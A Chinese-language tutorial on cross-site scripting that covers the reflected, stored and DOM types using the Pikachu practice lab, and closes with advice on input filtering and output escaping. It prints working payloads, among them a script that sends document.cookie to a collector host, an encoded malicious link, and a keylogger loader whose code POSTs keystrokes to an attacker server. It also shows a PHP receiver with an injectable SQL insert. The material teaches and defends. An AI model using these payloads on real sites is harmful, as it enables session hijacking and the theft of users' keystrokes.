XSS(跨站脚本攻击漏洞)

xss 就是向网站插入恶意 js 代码并被执行。用 js 获取一系列用户信息。
这是存储型的xss漏洞:
首先,攻击者得先在有XSS漏洞的站点中存入XSS 脚本,该脚本会获取登录用户的cookie并将它发送给黑客。然后用户访问了这个页面触发了 XSS 脚本,黑客就可以根据这个 cookie 伪装成用户登录,造成破坏。


xss分类
危害 :存储型>反射型>DOM型
反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
存储型
交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面
DOM型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。


反射型xss
get 提交

post 提交和上面差不多只不过内容在请求体中。

存储型xss

再次访问还是会触发脚本,脚本存到数据库里了


DOM型XSS
DOM (Document Object Model) 译为文档对象模型,是 HTML 和 XML 文档的编程接口。
HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 以树结构表达 HTML 文档。

DOM型XSS 是一种不经过后台的特殊的反射型XSS。他的判断是在前端Javascript中的代码实现的不经过后端。
前端Javascript代码千奇百怪。

然后我们黑客发现了他这个网站有这个漏洞,我们可以精心准备一个 url 在 text 的参数中构建恶意脚本,发给用户,用户只要运行就会丢失信息等
payload: ' onclick="alert('xss')">
<a href='' onclick="alert('xss')">'>就让往事都随风,都随风吧</a>


xss获取cookie利用反射型
payload: <script>document.location = 'http://localhost:8082/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
恶意链接:
http://localhost:8083/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2Flocalhost%3A8082%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit


XSS获取键盘输入数据
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。

还是将payload 放到存储型XSS中
因为<script src="...."> // js,加载到本地执行 不受限制,所以我们将 获取键盘信息的代码 rk.js 让他拉去到本地执行
payload: <script src="http://10.12.2.21:8082/pkxss/rkeypress/rk.js"></script>
rk.js
/**
* Created by runner on 2018/7/8.
*/
.....
//上面省略,就是一些用 js 获取键盘信息的代码
var postdate = xl;
// 把获取到的信息发送给 黑客 10.12.2.21:8082 的电脑上的rkserver.php因为同源策略问题,黑客的电脑中的浏览器默认是不让 别的主机跨域访问我们可以设置一下就能,获取到 用户在键盘的数据信息。
ajax.open("POST", "http://10.12.2.21:8082/pkxss/rkeypress/rkserver.php",true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
}
rkserver.php
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");
$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);
?>
剩下的就是展示的代码了。


XSS绕过



XSS 常见防范措施
总的原则就是:输入做过滤, 输出做转义
• 过滤:根据业务需求进行过滤,如输入手机号的输入框,则只允许输入手机号格式的数字。
• 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行 JS 转义。
a 标签中 中有个 href 标签。里面可以使用JavaScript协议来执行js代码,
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}
虽然用 htmlspecialchars处理了 '' "" 但是 href 能使用JavaScript协议来执行js,

文章来源:B站-小黑仔的日记
如果我们的文章对你有帮助,就把我们“设为星标”吧!
↓↓↓
3秒加星标,这样就不容易错过文章推送啦!


往期回顾

请长按下方图片
识别二维码 关注河北镌远
为客户创造价值
与客户共同成长




